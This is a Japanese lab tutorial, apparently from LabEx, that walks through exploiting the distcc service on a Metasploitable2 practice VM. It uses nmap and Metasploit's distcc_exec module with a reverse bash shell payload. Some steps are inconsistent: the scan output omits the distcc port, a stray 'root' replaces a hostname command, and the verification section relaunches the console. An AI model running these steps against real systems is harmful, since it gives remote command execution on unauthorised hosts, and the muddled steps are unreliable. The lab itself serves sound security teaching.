はじめに
この実験では、Kali ターミナルを使用して、LabEx が提供する Metasploitable2 ターゲットマシンに対してペネトレーションテストを実施します。主に、Distcc サービスを攻撃する原理とプロセスを理解することに焦点を当てます。実験の最後には、推奨読書と宿題が用意されています。
ラボ環境を起動する
- LabEx ホストマシン上で xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2
ターゲットマシンが起動するのを待ちます。起動には 1 ~ 3 分かかる場合があります。
- ターゲットマシンに対して ping を実行し、接続性をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
- 以下のコマンドを実行して、Kali Linux コンテナを起動し、bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
- Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
これで攻撃マシンとターゲットマシンの両方が起動しており、ペネトレーションテストを開始することができます。
注意: 現在の bash を誤って終了した場合、Kali コンテナは自動的に停止します。ホスト上で再度 docker run -ti --network host b5b709a49cd5 bash を実行することで、新しい Kali コンテナを起動し、bash に入って実験を続行することができます。
ペネトレーションテストを実行する
Distcc サービスの脆弱性の原理:
Distcc は、ネットワーク上のサーバーで大規模なコードベースの分散コンパイルに使用されます。しかし、誤った設定がされている場合、コマンドを実行するために悪用される可能性があります。この脆弱性は、サーバーポートにアクセス制限がないため、XCode 1.5 やその他の Distcc 2.x バージョンに存在します。
簡単に言えば、このサービスはポートと実行されるタスクに対する適切なチェックが不足しており、攻撃者が分散コンパイルタスクを利用して独自のコマンドを実行することを可能にします。
脆弱性情報:
脆弱性攻撃モジュールのコード:
まず、msfconsole を起動して操作インターフェイスに入ります。
cd ~
msfconsole
Nmap スキャンツールを使用して、ターゲットホストの開放されているポートをスキャンします。
nmap -sV -T4 192.168.122.102
以下は、出力結果の例です。
[*] exec: nmap -sV -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp open domain ISC BIND 9.4.2
111/tcp open rpcbind 2 (RPC #100000)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds
スキャン結果に基づいて、攻撃したいポートサービスに対応するモジュールを検索します。
search distcc
Kali MSF ターミナルで、use コマンドを使用して適切なモジュールを選択します。
use exploit/unix/misc/distcc_exec
次に、show options コマンドを使用してモジュールのパラメータを表示します。
show options
以下は、出力結果の例です。
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
it.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.28.140.88 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
ターゲットホストのパラメータ RHOST を 192.168.122.102 に設定します。
set RHOST 192.168.122.102
すべての設定が完了したら、exploit コマンドを使用してホストを攻撃します。
exploit
Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します
ペネトレーションの成功を確認する
ペネトレーションが成功したかどうかを確認するには、以下のコマンドを使用します:whoami、hostname、および ifconfig (IP アドレスを確認するため):
まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動する必要があります。
cd ~
msfconsole
現在のユーザーを確認します。
whoami
ホスト名を確認します。
root
攻撃対象のホストの IP アドレスを確認します。
ifconfig
ホスト名と IP アドレスがターゲットマシン (192.168.122.102) と一致する場合、ペネトレーションテストが成功したことを示します。
Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します
まとめ
この実験では、Distcc サービスを攻撃する原理とプロセスについて学びました。Nmap を用いたペネトレーションスキャン、Metasploit を使った Distcc の脆弱性の悪用、およびペネトレーションの成功の確認に関する実践的な経験を得ました。この実験により、脆弱性分析と悪用技術について実践的な理解を深めることができました。



